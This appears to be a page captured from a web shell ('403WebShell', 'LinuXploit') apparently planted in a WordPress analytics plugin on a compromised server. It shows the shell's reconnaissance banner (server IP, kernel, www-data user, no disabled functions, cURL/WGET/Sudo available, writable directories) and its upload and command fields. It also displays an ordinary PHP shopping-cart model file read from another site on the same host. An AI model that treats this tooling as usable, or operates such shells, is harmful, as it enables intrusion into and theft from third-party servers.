Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/kjvdictionary_store/modules/store/model/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/kjvdictionary_store/modules/store/model/cart_model.php
<?php

class StoreCart_model extends Database_Model {

	private $model_product;

	// add to cart  -- not at this time:  right slide-in -- add associated items (insurance ...)

	// icon with itemcount
	public function generateCartIcon($container = TRUE) {
		$count = 0;
		$cart = $_SESSION['store_cart'] ?? [];
		foreach($cart as $item) {
			$count += $item['count'];
		}
		
		if ($count) {
			$icon = '<span class="cart-count">' . $count . '</span><i class="largeicon fas fa-shopping-cart"></i>';
		} else {
			$icon = '<i class="largeicon fas fa-shopping-cart"></i>';
		}
		if ($container) $icon = '<span class="cart-menu"><span class="cart-container" id="cart_icon">' . $icon . '</span> <span class="cart-caption">Shopping Cart</span></span>';
		return $icon;
	}

	// 
	public function generateCheckoutIcon($container = TRUE) {
		$icon = '<i class="largeicon fas fa-share"></i>';
		if ($container) $icon = '<span class="cart-menu"><span class="cart-container">' . $icon . '</span> <span class="cart-caption">Checkout</span></span>';
		return $icon;
	}

	
	public function addToCart($product_data) {
		$product_id = $product_data['sp_id'] ?? 0;
		if (!$product_id) {
			return [
				'result'  => 18831,
				'message' => 'Unable to add to cart: Unknown product',
			];
		}
		$result = [];
		if (!array_key_exists('store_cart', $_SESSION)) {
			$IN_MEMORY_CART = [];
		} else {
			$IN_MEMORY_CART = $_SESSION['store_cart'];
		}
		$found = FALSE;
		foreach($IN_MEMORY_CART as $index => $item) {
			if ($item['product'] == $product_id) {
				$found = $index;
				break;
			}
		}
		
		$param = new \StdClass;
		$param->cart = $IN_MEMORY_CART;
		$param->found = $found;
		$param->product_data = $product_data;
		$param->redirect = FALSE;
		$param->custom = isset($product_data['custom']) ? $product_data['custom'] : FALSE;
		hook_execute('cart.update', $param);			// if it is a customizable product - return new entry with 0 qty
		
		$IN_MEMORY_CART = $param->cart;
		$found = $param->found;
		
		// do we have enough stock
		$new_quantity = $found === FALSE ? 1 : $IN_MEMORY_CART[$found]['count'] + 1;
		$available  = $product_data['stock'];
		$insufficient = $new_quantity > $available;
		if ($insufficient) {
			$result['result']		= 18834;
			$result['message']		= 'Unable to add item: Insufficient Stock available.';
			return $result;
		}

		if ($found === FALSE) {
			$IN_MEMORY_CART[] = [
				'product' => $product_id,
				'count' => 1,
			];
		} else {
			$IN_MEMORY_CART[$found]['count']++;
		}
		
		$_SESSION['store_cart'] = $IN_MEMORY_CART;
		$_SESSION['store_changed'] = 1;

		// update the cart button
		$icon = $this->generateCartIcon();
		$result['result'] 		= -9999;
		$result['message'] 		= "\"{$product_data['sp_product']}\" has been added to your cart, <a href=\"/store/cart\">View Cart</a>";
		$result['html'] = [
			[
				'field'		=> 'cart_icon',
				'value'		=> $this->generateCartIcon(FALSE)
			]
		];
		if ($param->redirect) {
			$result['redirect'] = $param->redirect;
		}
		return $result;
	}
	
	public function updateQuantity($product_data, $new_quantity, $custom_id) {
		$product_id = $product_data['sp_id'] ?? 0;
//		$custom_id  = $product_data['custom'] ?? '';
		$available  = $product_data['stock'];
		$insufficient = $new_quantity > $available;
		if ($insufficient) $new_quantity = $available;
		
		$oldindex = FALSE;
		foreach($_SESSION['store_cart'] as $index => &$item) {
			$item_custom = $item['custom'] ?? '';
			if ($item['product'] == $product_id && $item_custom == $custom_id ) {
				// check for maximum quantity
				$item['count'] = $new_quantity;
				$oldindex = $index;
				break;
			}
		}
		unset($item);
		$data = $this->asHandleBars();
		$current = NULL;
		foreach($data['cart'] as $item) {
			$item_custom = $item['custom'] ?? '';
			if ($item['product'] == $product_id && $item_custom == $custom_id) {
				$current = $item;
				break;
			}
		}
		if ($oldindex !== FALSE && !$_SESSION['store_cart'][$oldindex]['count']) {
			array_splice($_SESSION['store_cart'], $oldindex, 1);		// remove and renumber
		}
		$_SESSION['store_changed'] = 1;
		// when we are deleting, we should redisplay the cart
		if ($new_quantity) {
			unset($data['cart']);
		}
		// count/price is based on original quantity, not the updated qty
		$data['count'] = $current['count'];
		$data['price'] = $current['price'];
		$data['product'] = $current['product'];
		$data['description'] = $current['description'];
		$data['uri'] = $current['uri'];
		$data['icon']  = $this->generateCartIcon(FALSE);
		$data['category'] = (int) $product_data['sp_category'];
		$data['custom'] = $current['custom'] ?? '';
		// if there is some type discount, update the price based on price and product
		$data = hook_execute('item.recalculate', $data, $product_data);
		if ($insufficient) {
			$data['result']		= 18832;
			$data['message']	= 'Insufficient Stock available. Quantity adjusted.';
		}
		return $data;
	}
	
	public function uri($prod) {
		return '/' . \Misc::AsSlug($prod->sp_product) . '/p/' . $prod->sp_id;
	}

	private function loadCart() {
		$cart = $_SESSION['store_cart'] ?? [];
		// get details for all cart products
		$products = [];
		foreach($cart as $item) {
			$products[$item['product']] = NULL;
		}
		
		$rows = $this->Query("select * from `store_product` as p\n".
									"left join store_manu on sm_id=sp_manu\n"
								  )
						->WhereIn('sp_id', array_keys($products))
						->Get();
		foreach($rows as $row) {
			$sp_id = (int) $row->sp_id;
			$products[$sp_id] = $row;
		}
		foreach($cart as &$item) {
			$prod = $products[$item['product']];
			$item['description'] = $prod->sp_product;
			$item['price'] = (float) $prod->sp_price;
			$item['uri'] = $this->uri($prod);
			$item['physical'] = (int) $prod->sp_usestock;
			$item['category'] = (int) $prod->sp_category;
			if ($item['physical']) {
				$available = $prod->sp_stock - $prod->sp_allocated;
				$item['stock'] = $available;
			} else {
				$item['stock'] = 10;
			}
		}
		$cart = hook_execute('cart.recalculate', $cart);
		
		// now calculate totals
		unset($item);
		$subtotal = $qty = 0;
		foreach($cart as &$item) {
			$item['full'] = sprintf('%0.2f', $item['price']);
			$qty += $item['count'];
			$subtotal = $subtotal + $item['count'] * $item['price'];
		}
		
		return [$cart, $qty, $subtotal];
	}
	
	public function asHandlebars() {
		[$cart, $qty, $subtotal] = $this->loadCart();

		// add variation & thumbnail
		return [
			'cart' 		=> $cart,
			'itemcount'	=> $qty == 1 ? "$qty item" : "$qty items",
			'totalqty'	=> $qty ? $qty : NULL,
			'subtotal'	=> sprintf('%0.2f', $subtotal),
		];
	}
	
	public function AsHandleBars_Checkout() {
		$output = [];
		[$cart, $qty, $subtotal] = $this->loadCart();
		
		$hasPhysical = 0;
		foreach($cart as $item) {
			if ($item['physical']) $hasPhysical = 1;
		}
		$output['physical'] = $hasPhysical;
		return $output;
	}

	public function getLoginHandlers($bounce) {
		
		$items = hook_execute('auth.*.css', []);
		foreach($items as $item) {
			$this->controller->IncludeFile($item);
		}
		
		$params = [
			'bounce' => $bounce,
		];

		// set session cookie
		$handlers = hook_execute('auth.*.login', [], $params);
		// get icons and links (and classes?)
		$list = [];
		foreach($handlers as $module => $info) {
			
			$link = $info['link'] == '' ? '#' : $info['link'];
			$hint = $info['hint'] ?? '';
			$className = $info['className'] ?? '';
			if (($info['button'] ?? '') != '') {
				$list[] = [
					'button' 	=> $info['button'], 
					'cat'  		=> $module,
					'hint' 		=> $hint,
					'className' => $className,
				];
			} elseif (!empty($info['icon'])) {
				$list[] = [
					'icon' 		=> $info['icon'], 
					'href' 		=> $link,
					'cat'  		=> $module,
					'hint' 		=> $hint,
					'className' => $className,
				];
			} else {
				$html = <<<BLOCK
<div class="sitelogin-container {$className}"><a href="{$info['link2']}" title="{$hint}">
	<div class="sitelogin-icon">
		<img src="/favicon.ico" width="24" height="24">
	</div><div class="sitelogin-text">
		Log in with Username and Password
	</div>
</a></div>

BLOCK;
				$list[] = [
					'button'	=> $html,
					'cat'  		=> $module,
				];
			}
		}
		return $list;
	}
	
}

Youez - 2016 - github.com/yon3zu
LinuXploit